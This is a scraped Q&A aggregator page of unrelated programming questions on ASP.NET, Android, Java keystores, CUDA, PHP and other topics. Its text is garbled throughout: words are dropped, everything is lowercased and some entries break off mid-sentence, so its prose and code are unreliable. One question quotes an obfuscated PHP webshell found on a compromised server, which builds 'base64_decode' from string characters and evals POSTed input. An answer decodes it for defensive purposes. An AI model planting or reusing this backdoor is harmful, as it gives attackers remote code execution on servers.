Posts

Showing posts from May, 2013

asp.net - Nested Repeater HeaderTemplate issue -

hello using nested repeaters (3 levels) , wanted add header second level repeater, assign title item group. issue is, when add header template second level repeater, code behind can't find third level repeater. if header template empty issue still persists. have suggestions? <asp:repeater runat="server" id="rpt2nd" onitemdatabound="rpt2nd_ondatabound"> <headertemplate></headertemplate> <itemtemplate> <asp:repeater runat="server" id="rpt3rd"> <itemtemplate></itemtemplate> </asp:repeater> </itemtemplate> </asp:repeater> protected void rpt2nd_ondatabound(object sender, repeateritemeventargs e) { var rpt3rd= ((repeater)e.item.findcontrol("rpt3rd")); rpt3rd.datasource = ((keyvaluepair<int, ienumerable<customclass>>)e.item.dataitem).value; rpt3rd.databind(); } you need add if(e.item.itemtype != listitemt

How to play a video on videoView by a link address in android -

i have code: string srcpath = "http://blog.mehdirahimi.ir/wp-content/uploads/egg_heart.mp4"; videoview myvideoview = (videoview)findviewbyid(r.id.videoview1); myvideoview.setvideouri(uri.parse(srcpath)); myvideoview.setmediacontroller(new mediacontroller(this)); myvideoview.requestfocus(); myvideoview.start(); and want play video link address stored in database, have problem code getting "can't play video" i found answer, problem dont add internet permission android application. for solve problem add cod manifest.xml file <uses-permission android:name="android.permission.internet" /> use in manifest.xml follow this: <uses-sdk android:minsdkversion="8" android:targetsdkversion="18" /> <uses-permission android:name="android.permission.internet" />

security - Java Applet Windows-MY keystore PrivateKey getEncoded is null -

according understanding of documentation there should possbile access microsoft windows keystore service "windows-my" . when load privatekey keystore null privatekey.getencoded(). how can access privatekey windows keystore? trying access with: keystore ks = keystore.getinstance("windows-my"); ks.load(null); privatekey privatekey = (privatekey) ks.getkey("mykeyalias", null); system.out.println("privatekey:" + privatekey)); system.out.println("getencoded:" + privatekey.getencoded()); output i'm getting: privatekey:rsaprivatekey [size=2048 bits, type=exchange, container=mykeyalias] getencoded:null using jre 1.8 , tested win7 , 8.1 the mscapi not seem support private key export. first of key.getencoded() javadoc specifies: returns key in primary encoding format, or null if key not support encoding. and if @ source code of java crypto provider mscapi , getencoded() method returns null in cases.

jquery - how to get menus displayed in the sample website -

Image
i creating website , trying create menus similar below site drop menu <div class="collapse navbar-collapse" id="navbar-collapse-1"> <ul class="nav navbar-nav" style="float: inherit;"> <li class="col-sm-2"><a href="#"></a></li> <li id="categorydropdownid" class="dropdown col-sm-2"><a href="#" class="dropdown-toggle text-center">see category <b class="caret"></b> </a> <ul id="dropdownmenuid" class="dropdown-menu pull-right" style="min-width: 196px;"> <li><a href="#">dropdown 1</a></li> <li><a href="#">dropdown link 2

c# - Entity Framework Filtering with a List of String -

i want filter results according list of strings, this: list<string> filters = {"a", "b", "c", "d"}; var results = (from r in db.entries r.word.startswith(filters[0]) ||r.word.startswith(filters[1]) ||r.word.startswith(filters[2]) ||... i don't know length of filters list how query dynamically in linq? thanks in advance. this works little bit different in linq, kind of other way around use .contains() something this: from r in db.entries filters.contains (r.word.substring(0,1))

php - Getting multiple items from eBay with Single item API shows ERROR -

i'm using ebay single item api details selected items. know ebay have multiple-item api not give details want. i have var $gpd have item numbers. using explode make array $items then using foreach run ebay single item api items in array. then added 20% profit , roundup price. then making static paypal button. my code below works perfect of time. shows 2 first items in array , shows error: $xml=simplexml_load_string($response) or die("error: not item"); if again reload page shows items in array , works perfectly. here code: <?php $gpd = '281616878215, 221694130228, 191506118709, 271806308878, 231451119156' ; $items = explode(', ', $gpd); $profit = "1.2"; function round_up ($value, $places=0) { if ($places < 0) { $places = 0; } $mult = pow(10, $places); return ceil($value * $mult) / $mult; } foreach($items $item) { $appid = 'here-need-to-put-ebay-appid'; $exexex = $item; $request = '<?xml ve

java - Were pipelines removed from akka i/o? -

while learning how use akka i/o trying implement simple protocal on top of akka i/o , following documentation here . however in gradle file use version 2.3.9 shown below dependencies { compile group: 'org.slf4j', name: 'slf4j-log4j12', version: '1.7.7' compile group: 'com.typesafe.akka', name: 'akka-actor_2.11', version: '2.3.9' compile group: 'com.typesafe.akka', name: 'akka-contrib_2.11', version: '2.3.9' compile group: 'org.scala-lang', name: 'scala-library', version: '2.11.5' testcompile group: 'junit', name: 'junit', version: '4.11' } import of things pipeline specific like import akka.io.symmetricpipelinestage; import akka.io.pipelinecontext; import akka.io.symmetricpipepair; generate can not resolve symbol errors. hence questions. were these removed or there dependancy need add gradle file. if removed, how encod/decode st

Meteor Performance Issue when sorting client side -

i quite new on meteor (3 weeks) have precise issue when need load data collection. collection contains 2800 objects (small posts) on client side, limit @ 25 first posts but if want sort (on createdat date field), try 2 solutions: sort on client side: big mistake chrome blocked => performance issue sort on server side: it's better because don't have performance issue anymore datas not reactive anymore: have form on same page , when add new post, doesn't appear in list (it appears if refresh manually) so i'm looking solution improve performance when sorting on client side or 1 solve reactivity whithout sorting i'm using iron-router i tried subscribe @ different place without success. i read lot meteor here without finding me many help

ssis - What is a staging table? -

are staging tables used in data warehouse project or in ssis project? know staging table? can give me examples on how use , in circumstances implemented? also, may please know best practices while using it? staging tables database tables containing business data in form or other. staging process of preparing business data, taken business application. average bi system have prepare data before loading it. staging table temporary table containing business data, modified and/or cleaned. depending on actual case may have several staging tables different source systems combined resulting fact table bi system.

class - How to use model with multiple identical tables, for data isolation? -

i writing simple saas application small construction companies use , trying achieve mid-level data isolation having each company have own unique data tables aren't shared. this nice in case where {group_id} clause missing, other group data won't exposed. i able use command builder create these tables dynamically, prefixing them group number grp_37645_projects . but stuck on how use model classes table names change. after login, want set table names. these won't change users aren't allowed part of more 1 group. i have read changing tablename, static function, , have read little creating classes on fly, neither option detailed or complete. i know touches on single table inheritance, once again, every example use little different scenario. do have recommended solution setting tablenames dynamically? add logic tablename: namespace app\models; use yii\db\activerecord; class project extends activerecord { /** * @return string name

android - How can I have different manifest files for the release and debug versions? -

is possible have different manifest files debug , release versions of apk in android studio? normally don't have need such such thing in debug mode, applications run in different user id , process , defined in manifest. i've attached diff of debug manifest has: --- a/androidmanifest.xml +++ b/androidmanifest.xml @@ -1,5 +1,6 @@ <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.mridang.address" + android:shareduserid="com.mridang.dashclock" android:versioncode="10" android:versionname="1.0" > @@ -14,6 +15,7 @@ <application android:allowbackup="true" android:icon="@drawable/ic_launcher" + android:process="com.mridang.dashclock" android:label="@string/application_name" android:theme="@android:style/theme.holo.light.darkactionbar" > i'm losing mind stashing de

ios - How can I make a UIButton that has both an image and a title? -

i want set image , title auibutton. here both visible when using background image button. when using setimage method title no longer visible. [self setbackgroundcolor:[uicolor clearcolor]]; [self settitleedgeinsets:uiedgeinsetsmake(0.0, 80.0, 0.0, 0.0)]; [self settitle:@"kansal ji" forstate:uicontrolstatenormal]; [self settitlecolor:[uicolor redcolor] forstate:uicontrolstatenormal]; [self.titlelabel setbackgroundcolor:[uicolor bluecolor]]; [self setimage:[uiimage imagenamed:@"categories.png"] forstate:uicontrolstatenormal]; [self.imageview setbackgroundcolor:[uicolor greencolor]]; [self setimageedgeinsets:uiedgeinsetsmake(0.0, 0.0, 0.0,kwidthofview(self)-kheightofview(self))]; self.clipstobounds = yes; please regarding this.here following code done in subclass of uibutton.

xhtml 1.0 strict - Where is the error in tag(a)? -

this first year in html courses, i'm using html 4.01 strict/xhtml 1.1 error in code?? <a href="http://www.upv.es" onclick="target='_blank';"> <img src="http://politube.upv.es/templates/imagenes_cabecera/escudo.gif"/> </a> well, don't provide information expect , not working. if try open link in new tab, you'll have change onclick="target='_blank';" to target="_blank" otherwise, you'll setting javascript variable target string value _blank .

javascript - Get latest data after delete/insert operation in couchbase Node.js -

i have difficult time latest bucket documents after operation (insert/delete). use node.js + express + couchbase, , here's code, derived official website. simple address book web-app , has 3 function: insert, show or delete contact. after delete or insert operation, use res.redirect("\") reload page. problem is: show old data , after reload second time, shows up. don't know what's wrong here. can help? /* home page. */ router.get('/', function(req, res) { var query = viewquery.from('view_people', 'by_id'); bucket.query(query, function(err, results){ return res.render('index', {people: results}); }); }); /* insert contact here */ router.post('/insert', function(req, res){ var name = req.body.name; var address = req.body.address; var job = req.body.job; var age = req.body.age; bucket.insert(name, { name : name, address : address, job : job, age

php - Update a database record using codeigniter -

i have been having problem... frustrating problem @ that. i cannot seem edit specific row in codeigniter . have found previous questions on same here, , tried solutions no avail. press time on project undertaking. before regard question duplicate please have see. any appreciated... thank in advance code snippets below: codeigniter/controller <?php.. //selects admin table function get_admin(){ $data['query'] = $this->superuser_model->selectadmin(); } //brings in view // function editadmin(){ // $data['content'] = 'admin/edit_admin'; // $this->load->view('include/template_back', $data); // } //click specific row in view (tabulated data) function edit($id){ $data['array']= $this->superuser_model->editadmin($id); // $data['content'] = 'admin/edit_admin'; $this->lo

java - Null TokenId error while processing an input text -

i working on netbeans module parse html markups following tutorial . for keyword html , wrote following javacc file. options { java_unicode_escape = true; error_reporting = false; static = false; common_token_action = false; token_factory = "token"; jdk_version = "1.8"; build_parser = false; } parser_begin(htmlparser) package org.html.jcclexer; import java.io.*; /** * grammar parse java version 1.5 * @author sreenivasa viswanadha - simplified , enhanced 1.5 */ public class htmlparser {} parser_end(htmlparser) /* white space */ token : { < whitespace: " " | "\t" | "\n" | "\r" | "\f"> } token : { < html : "html" > } it colors html word gives error: java.lang.illegalargumentexception: token id must not null. fix lexer org.html.lexer.htmlexer@1e6bbd25 test.html contains following word only: html i not sure it's error due .jj file or else.

Match word with Regex (at the beginning, the end or in the middle) of text -

i wondered if possible using 1 single regex pattern find word in string wherever located. let's want find word of 6 letters starting capital 'b' , ending lower 'r', sake let's use word 'butter'. i want match within these sentences: "butter good" "i love butter" "where butter is?" but don't want match these: "zzzbutter good" "i love zzzbutter" using simple pattern this: "/(b[a-z]{4}r)/i" isn't enough... any idea if possible done in 1 single regex? you can use regex word boundaries on each side: /\bb[a-z]{4}r\b/i

python - Pandas, Filling between dates with average change between previous rows -

i think best illustrated examples. lets have dataframe such: 295340 299616 2014-11-02 304.904110 157.123288 2014-12-02 597.303413 305.488493 2015-01-02 896.310372 454.614630 2015-02-02 1192.379580 599.588466 2015-02-04 1211.285484 nan 2015-03-02 nan 726.622932 now let's want reindex this, such: rng = pd.date_range(df.index[0], df.index[-1]) df.reindex(rng) 295340 299616 2014-11-02 304.904110 157.123288 2014-11-03 nan nan 2014-11-04 nan nan 2014-11-05 nan nan ... 2014-11-29 nan nan 2014-11-30 nan nan 2014-12-01 nan nan 2014-12-02 597.303413 305.488493 now if @ 295340, see difference between values (597.30-304.90) = 292.39. the amount of days between 2 values 31. average increase 9.43 day. so want such: 295340 299616 2014-11-02 304.904110 157.123288 2014-11-03

boolean - Find coords of the largest rectangle in bool array -

i have problem. let's assume have matrix of 1's , 0's , want find largest rectangle in consists of 1's. code below , computes area , stores in variable "res". question is, how can coords of rectangle in matrix? mean x,y,h,w. x,y start coords , h,w(height,width) size of rectangle. kind of lost. reply. int maximalrectangle(vector<vector<char> > &matrix) { int row = matrix.size(); if (row==0){return 0;} int col = matrix[0].size(); int res=0; vector<vector<int>> ones(row,vector<int>(col,0)); (int i=0;i<row;i++){ for(int j=0;j<col;j++){ if (matrix[i][j]=='1'){ if (j==0){ones[i][j]=1;} else{ones[i][j]=ones[i][j-1]+1;} } } } (int i=0;i<row;i++){ for(int j=0;j<col;j++){ if (ones[i][j]!=0){

C# ASP.NET "InvalidProgramException: Common Language Runtime detected an invalid program" -

i'm getting above exception trying 'start debugging' asp.net mvc web application using .net 4.5 , targeting 'any cpu'. other questions i've found regarding issue seem know in application causing problem, stack trace doesn't mean me doesn't mention of own written code (see below:) [invalidprogramexception: common language runtime detected invalid program.] system.windows.markup.xmlnsprefixattribute..ctor(string xmlnamespace, string prefix) +0 system.reflection.customattribute._createcaobject(runtimemodule pmodule, iruntimemethodinfo pctor, byte** ppblob, byte* pendblob, int32* pcnamedargs) +0 system.reflection.customattribute.createcaobject(runtimemodule module, iruntimemethodinfo ctor, intptr& blob, intptr blobend, int32& namedargs) +38 system.reflection.customattribute.getcustomattributes(runtimemodule decoratedmodule, int32 decoratedmetadatatoken, int32 pcacount, runtimetype attributefiltertype, boolean mustbeinheritable, ilis

c - Postfix before prefix? -

i have read in here , in here postfix(es) prior prefix(es). int = 5; int b = 5; printf("%d\n",a++); printf("%d\n",++b); but code output 5,6. how make sense then? what talked in links operator precedence. not affect working of post increment. post increment operator increases value after expression in calculated. post-increment operator used increment value of variable after executing expression in post increment used. what means if have statement int = 0 , j = 5 , k ; k = ++i + j++ ; the ++i calculated ( i becomes 1 ) , expression calculated, , k gets value 6 , , after assigning value 6 k , effect of j++ comes place , j becomes 6 . operator precedence determines how operators grouped, when different operators appear close in 1 expression. example, ' * ' has higher precedence ' + '. thus, expression + b * c means multiply b , c , , add product (i.e., + (b * c) ). but precedence not change working

How to implement nested loops in cuda thrust -

i have run nested loop follow: for(int = 0; < n; i++){ for(int j = i+1; j <= n; j++){ compute(...)//some calculation here } } i've tried leaving first loop in cpu , second loop in gpu . results too many memory access . there other ways it? example thrust::reduce_by_key ? the whole program here: #include <thrust/device_vector.h> #include <thrust/host_vector.h> #include <thrust/generate.h> #include <thrust/sort.h> #include <thrust/binary_search.h> #include <thrust/iterator/counting_iterator.h> #include <thrust/random.h> #include <cmath> #include <iostream> #include <iomanip> #define n 1000000 // define 2d point pair typedef thrust::tuple<float, float> point; // return random point in [0,1)^2 point make_point(void) { static thrust::default_random_engine rng(12345); static thrust::uniform_real_distribution<float> dist(0.0f, 1.0f); float x = dist(rng); float y = dist(rng

Calendar: adding a day time the button is clicked [Java] -

class calendarndlistener implements actionlistener{ public void actionperformed(actionevent e){ calendar = new gregoriancalendar(); format = new simpledateformat("dd/mm"); date = new date(); calendar.settime(date); calendar.add(calendar.date, 1); date = calendar.gettime(); dag.settext(format.format(date)); } when click button has 'calendarndlistener' actionlistener it, adds 1 day 'dag' label. once. if want go day ahead, doesn't anything. want is, when click button, adds day label date. if click again, adds day previous date (the 1 has day added it). it's 2 days ahead of current day. what want: today 28/03. when click button, goes 29/03. when click again, goes 30/03 , on. what now: today 28/03. when click button, goes 29/03. when click again, stays @ 29/03. i hope clear enough, might sound confusing. bear in mind i'm still beginner in jav

Php Dynamically Embed YouTube Videos -

my page accepts text in text area no chars limit. want display youtube video in place of "youtubeurl" or direct embed code of youtube if text data contains of above way. example: if user enters following text text area : "here video embed code: < iframe width="420" height="315" src="https://www.youtube.com/embed/7m-jsjlb20y" frameborder="0" allowfullscreen>< /iframe > , here video url: https://www.youtube.com/watch?v=7m-jsjlb20y " so post data show in page : here video embed code: "display youtube video here" , here video url: "display youtube video here" in short want code php page accepts both way of youtube video embedding , find text data process it. great if can give me idea works both way. i don't understand question, maybe regexp can want. example, imagine have text area in var $l_smycode , can extract embed code : preg_match( '/.*(\<iframe.*\<\/if

c - Can a child process change a static variable shared by his parent? -

can child process change static int shared parent process? similiar simple example: static int changeme = 1; ... int main() { if (fork()=0){ changeme = 0; } wait(0); printf(1, "changeme value is: %d., changeme); } i know child creates clone of parent memory. want child change values @ parent - possible? not through fork, since you're creating new process separate stack , address space. if want share variables, @ using threads.

python - Is there a numpy function to perform coordinate transformations? -

i'm developing lecture notes on numerical methods in ipython notebook, , need include coordinate transformation functions. i've coded these functions (below), details aren't fundamental topic, , simplify lecture if call pre-written functions. i see scipy image rotation function, need coordinate translation , rotation. ie # transform global panel coordinates def transformxy( self, x, y ): xp = x-self.xc yp = y-self.yc xpp = xp*self.sx+yp*self.sy ypp = yp*self.sx-xp*self.sy return [ xpp, ypp ] # rotate velocity global coordinates def rotateuv( self, u, v): = u*self.sx-v*self.sy vp = v*self.sx+u*self.sy return [ up, vp ] in these, sx , sy unit tangent vector components. copied , expanded previous comment: you can move own functions separate .py file , import them there. way internals hidden in notebook. if place them in file/module called e.g. transformation.py , place file next notebook file , can import functions fro

xcode - Change data files in iOS app bundle? -

i have app-specific data files in app resources directory, , included in "copy bundle resources" list. copied in app bundle when ran app in either simulator or on device. (the app created in xcode 4 / ios 5: on xcode 6 /ios 8.2.) removed of these files , added newer versions different names. expected when next ran app in simulator or on device, new data files. however, when run app in simulator or on device, still see old files. i have done clean/rebuild in xcode, , have deleted app in simulator , on device - multiple times. made sure old files no longer in of app folders. assumed xcode had these files in cache somewhere, searched in terminal , did find app in /users/jwanner/library/developer/coresimulator/devices//data/containers/bundle/application/. app in these folders (there several instances of first guid) had old files. copied these trash, , app installs none of data files - not old files , not new files. i have searched google hours , can't find solution p

Mandelbrot set on python using matplotlib + need some advices -

Image
this first post here, i'm sorry if didn't follow rules i learned python, know basics , writing famous sets , plot them, i've wrote codes hofstadter sequence, logistic sequence , succeeded in both now i've tried writing mandelbrot's sequence without complex parameters, doing "by hand" for exemple if z(n) complexe(x+iy) variable , c(n) complexe number (c+ik) i write sequence {x(n)=x(n-1)^2-y(n-1)^2+c ; y(n)=2.x(n-1).y(n-1)+c} from math import * import matplotlib.pyplot plt def mandel(p,u): c=5 k=5 in range(p): c=5 k=k-10/p n in range(p): c=c-10/p x=0 y=0 m in range (u): x=x*x-y*y + c y=2*x*y + k if sqrt(x*x+y*y)>2: break if sqrt(x*x+y*y)<2: x=x+[c] y=y+[k] print (round((i/p)*100),"%") return (plt.plot(x,y,'.')),(plt

mysql - How to return all rows that exists in each group? -

edit: this database. question is: find course title students whom advisor professor katz took course. what thought solve question: 1) find id of prof. katz. 2) using id, find ids of students whom prof. katz advises. 3) using founded student ids, find courses prof. katz's advisees took. 4) group result student ids , rows present in each group, hence finding course taken all advisees of prof. katz. i couldn't perform step 4. how return rows grouped table, each returned row exists in every group of table? select title course inner join takes on course.course_id = takes.course_id takes.id in (select student.id student inner join advisor on students.id = advisor.s_id inner join instructor on advisor.i_id = instructor.id instructor.name = 'prof.katz' )

MATLAB out of java heap memory when importing a gif -

i'm using matlab r2012b 64-bit on windows 8.1 machine 8gb of ram. i'm trying import 6mb gif image in matlab using imread , when happens: >> = imread('nightearth.gif'); error using readgif>read_multiframe_gif (line 73) java exception occurred: java.lang.outofmemoryerror: java heap space @ java.awt.image.samplemodel.getpixels(unknown source) @ java.awt.image.raster.getpixels(unknown source) error in readgif (line 33) [x,map] = read_multiframe_gif(filename); error in imread (line 434) [x, map] = feval(fmt_s.read, filename, extraargs{:}); as suggested various sources in mathworks forums , documentation, increased java heap size in preferences. didn't work however; increasing maximum value of 2014mb doesn't solve problem. going wrong here? i'm puzzled since gif 6mb , available memory looks more sufficient.

php - How To Validate Phone Numbers in Redux Framework -

i'm trying validate phone number field available options other text won't work since people may use dashes , parentheses enter number. i've tried preg_replace i'm still not seeing error messages when entering incompatible data, e.g. 'x' characters entered text field should accept number value. besides pop-up appears that: there problem action. please try again or reload page. array( 'id' => 'sz-header-contact-phone', 'type' => 'text', 'title' => __( 'phone number', 'redux-framework-demo' ), 'subtitle' => __( 'enter phone number here.', 'redux-framework-demo' ), 'validate' => 'preg_replace', 'preg' => array( 'pattern' => '^\(\d{3}\) \d{3}-\d{4}$', 'replacement' => 'no numbers' ), 'msg' => 'please enter corr

time series - Reproduce ARIMA Forecast (Coefficients from R Arima()) -

i quite new r , arima model, , have question on arima model obtained in r. i use unemployment rate example, data range jan, 1948 feb, 2015, total of 806 observations. after looking @ aicc, decided use arima(2,1,2) model. (btw using arima() function "forecast" package in r) the output following: series: log.unemp arima(2,1,2) ar1 1.6406 ar2 -0.7499 ma1 -1.5943 ma2 0.7893 sigma^2 estimated 0.001307: log likelihood=1530.14 aic=‐3050.27 aicc=‐3050.2 bic=‐3026.82 the code fit.best <- arima(log.unemp, c(2, 1, 2), include.constant=false) print(fit.best) then want measure forecast performance of model. is, calculate things rmse, theil's u, etc. not know how that. reason seems not know how derive forecast equation output calculate fitted values. so me on this? how should derive forecast equation output? also, after obtaining equation, how can forecast in excel calculate fitted values first data point (there numbers not available when calculating fitted value

python - Using multiprocessing in emcee library inside a class -

i have tried use emcee library implement monte carlo markov chain inside class , make multiprocessing module works after running such test code: import numpy np import emcee import scipy.optimize op # choose "true" parameters. m_true = -0.9594 b_true = 4.294 f_true = 0.534 # generate synthetic data model. n = 50 x = np.sort(10*np.random.rand(n)) yerr = 0.1+0.5*np.random.rand(n) y = m_true*x+b_true y += np.abs(f_true*y) * np.random.randn(n) y += yerr * np.random.randn(n) class modelfit(): def __init__(self): self.x=x self.y=y self.yerr=yerr self.m=-0.6 self.b=2.0 self.f=0.9 def get_results(self): def func(a): model=a[0]*self.x+a[1] inv_sigma2 = 1.0/(self.yerr**2 + model**2*np.exp(2*a[2])) return 0.5*(np.sum((self.y-model)**2*inv_sigma2 + np.log(inv_sigma2))) result = op.minimize(func, [self.m, self.b, np.log(self.f)],options={'gtol

Getting user facebook likes and attributes in Android(Facebook SDK 3.18) -

this login function:- public void logintofacebook() { mprefs = getpreferences(mode_private); access_token = mprefs.getstring("access_token", null); long expires = mprefs.getlong("access_expires", 0); if (access_token != null) { facebook.setaccesstoken(access_token); } if (expires != 0) { facebook.setaccessexpires(expires); } if (!facebook.issessionvalid()) { facebook.authorize(this,new string[] { "email", "publish_stream" }, new dialoglistener() { @override public void oncancel() { // function handle cancel event } @override public void oncomplete(bundle values) { // function handle complete event // edit preferences

Syntax error in IPython 2.2.0 -

i'm running ipython 2.2.0 in anaconda on windows 8, , i'm running error code supposed find value of stock option. here's code: so = 100. k = 105. t = 1.0 r = 0.05 sigma = 0.2 numpy import * = 100000 z = random.standard_normal(i) st = * exp((r - 0.5 * sigma ** 2) * t + sigma * sqrt(t) * z) ht = maximum(st - k, 0) co = exp(-r * t) * sum(ht) / print "value of european call option %5.3f" % co when run print command on last line, it's telling me it's invalid syntax , has arrow beneath second quotation mark (next %5.3f". ideas? the problem print function. using python version allows print() function....seems suggest ipython 2.2.0 using python 3.x version underneath (just guess, can wrong). try following instead: print("value of european call option %5.3f" % co) this should work...

android - Get state of activity (paused / resumed) -

i using loadermanager data , when finishes child fragment should shown. in cases happens when activity in paused state , can not perform fragment transaction. is there way current state of activity (seems have mresume flag)? or have maintain own boolean? a quick in activity source code indicates activity class keep track on resume state member mresumed . since mresume not public , isresumed() hidden, can't use them. you can have simple solution provide information classes. create base activity class store state. example: public class activitybase extends activity { private boolean misresumed = false; @override public void onresume() { super.onresume() misresumed = true; } @override public void onpaused() { super.onpaused() misresumed = false; } public boolean isresumed() { return misresumed } } simply extend class class: public class myactivity extends activitybase { priv

jquery - Calculation in javascript -

my html looks that: <input type="text" id="qty"> <input type="text" id="unp"> <input type="text" id="tv"> <input type="text" id="qty2"> <input type="text" id="unp2"> <input type="text" id="tv2"> <input type="text" id="qty3"> <input type="text" id="unp3"> <input type="text" id="tv3"> ... how can calculate tv = qty*unp , tv2 = qty2*unp2 ? function tvfunction() { var inputtags = document.getelementsbytagname('input'); for(var i=1; i<=inputtags.length ; i++){ if(i == 1) { var qty= document.getelementbyid('qty').value; var unp = document.getelementbyid('unp').value; var result= number(qty)*number(unp); document.getelementbyid('tv'

ios - How to make simple UITabBarController in Swift? -

i created uitabbarcontroller class i created 2 view controllers , set title property each one i want change size , color of text label within tabs i set tab color , frame using uitabbar.appearance().bartintcolor = uicolor.bluecolor() tabbar.frame = cgrectmake(0, 0, view.frame.width, 100) now adjusting tabs, tried each of following uitabbaritem.appearance().settitletextattributes(nsdictionary(object: uicolor.whitecolor(), forkey: nsforegroundcolorattributename), forstate: uicontrolstate.normal) that changed text color white uitabbaritem.appearance().settitletextattributes(nsdictionary(object: uicolor.whitecolor(), forkey: nsforegroundcolorattributename), forstate: uicontrolstate.normal) uitabbaritem.appearance().settitletextattributes(nsdictionary(object: uifont(name: "helvetica", size: 16.0)!, forkey: nsfontattributename), forstate: uicontrolstate.normal) that changed size of text, not color ! uitabbaritem.appearance().settitletextattributes(nsdictio

Explain Swift Closure syntax -

i new swift , closures , after regarding going on. example 1: func getdata(completionhandler: ((nsarray?, nserror?) -> void)?) -> void { so function getdata , has completion handler, of nsarray + nserror optional parameters passed function? following bit -> void)? return type void, i.e nothing set returned , whole closure optional? i wasn't sure following -> void meant in case? example 2: let task = session.datataskwithurl(url!, completionhandler: {data, response, error -> void in ... } in case completionhandler data, response , error assigned within block constant task . correct? unsure -> void in in relation error particularly additional in ? i have spent while looking around @ various pieces of code , writing myself used syntax, pretty easy confused i'm finding out http://fuckingclosuresyntax.com/ you correct method signature. -> void)? means passing in completion handler begin optional. it's worth nothing void i

agile - Getting [TOTAL DURATION ESTIMATE] and [TOTAL REMAINING DURATION] information using version one rest api -

Image
how can these story total duration , remaining duration using version 1 api? tried https://host/meta.v1/story?xsl=api.xsl , https://host/meta.v1/timebox?xsl=api.xsl api docs, still not getting. the values looking listed in meta "estimate" , "todo". see values specific story use this: http://host/instance/rest-1.v1/data/story/5296?sel=estimate,todo to see summation of values within specific project (scope), use this: http://host/instance/rest-1.v1/data/scope/5258?sel=workitems:story.estimate.@sum,workitems:story.todo.@sum note in example, downcasting workitems stories being used.

Best way to store user remember me user sessions and browser history in database with spring security -

i need store user remember me, not remember me logins , browser history in database. default spring security class persistenttokenbasedremembermeservices using delete queries when session destroyed, want have history of sessions. thought make extends on class , store data need, don't know if best solution this.

xquery - How to choose certain nodes/words from a string -

i have code for $sea in distinct-values (doc("mondial.xml")//island/tokenize(@sea,"\s")) let $count := count(doc("mondial.xml")//island[@sea = $sea]/tokenize(@sea,"\s")) let $seacount := concat($sea," ",$count) return $seacount which returns me "sea-arcticocean 3 sea-greenlandsea 0 sea-norwegiansea 1 sea-barentssea 0 sea-atlantic 53 sea-labradorsea 0 ..." , on. the number can see $count , sea-xxx part variable $sea. i'm stuck on somehow choosing $sea has max value of $count of of counts , displaying sea-name. i've tried things adding $max variable to: $sea in distinct-values (doc("mondial.xml")//island/tokenize(@sea,"\s")) let $count := count(doc("mondial.xml")//island[@sea = $sea]/tokenize(@sea,"\s")) let $seacount := concat($sea," ",$count) $max := concat($sea," ",max($count)) return $max also tr

Grails Serve Static Contents from WebServer from ApplicationResources.groovy -

we have web server static files (css/js/images). obtain war grails command , delete static web-app contents application (in build.xml). thought resources redirected static/js/ or static/css/ complains js/ or /css/ cannot found. we don't want have duplicates under application , web-server. how force grails @ external directory in applicationresources.groovy? the web server overrides static contents if files present under application. use below configuration in config.groovy : grails.resources.work.dir = "path/for/static/assets/in/web/server" refer configuration page of resources plugin details . however, in future, if decide migrate use asset-pipeline plugin instead of resources plugin use below configuration: grails.assets.url = "path/for/static/assets/in/web/server" refer docs details .

php - Trying to decode a virus -

my server attacked, , i've been trying research how , why happening. i have found similar pattern in virus files looks - far can tell it's trying run specific file? has seen this, , how should interpret it? grabbing individual characters based on $sf string? <?php $sf = "pct4ba6odse_"; $s21 = strtolower($sf[4] . $sf[5] . $sf[9] . $sf[10] . $sf[6] . $sf[3] . $sf[11] . $sf[8] . $sf[10] . $sf[1] . $sf[7] . $sf[8] . $sf[10]); $s22 = ${strtoupper($sf[11] . $sf[0] . $sf[7] . $sf[9] . $sf[2])}['nd335c3']; if (isset($s22)) { eval($s21($s22)); }?> the variable $s21 equal base64_decode , $s22 equal $_post['nd335c3'] . whenever post request made server, executes whatever command in $_post['nd335c3']; can expect, dangerous. i highly doubt server hacked instead website script exploited. there anywhere on site users can upload files? i've seen lot of stuff wordpress poorly coded plugins. fixing problem to fix pr

c# - Menu item background Not changing When IsSubMenu Property is triggered -

i trying change background color of selcted menu item submenu opened.if change width or foreground color when issubmenuopen property true it's working, background color don't change. can tell me reason? here code: <usercontrol x:class="robohealthapplication.usercontrols.leftmenu" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:d="http://schemas.microsoft.com/expression/blend/2008" mc:ignorable="d" d:designheight="300" d:designwidth="320" > <usercontrol.resources> <style targettype="menuitem"> <setter property="background" value="#e4adb0&qu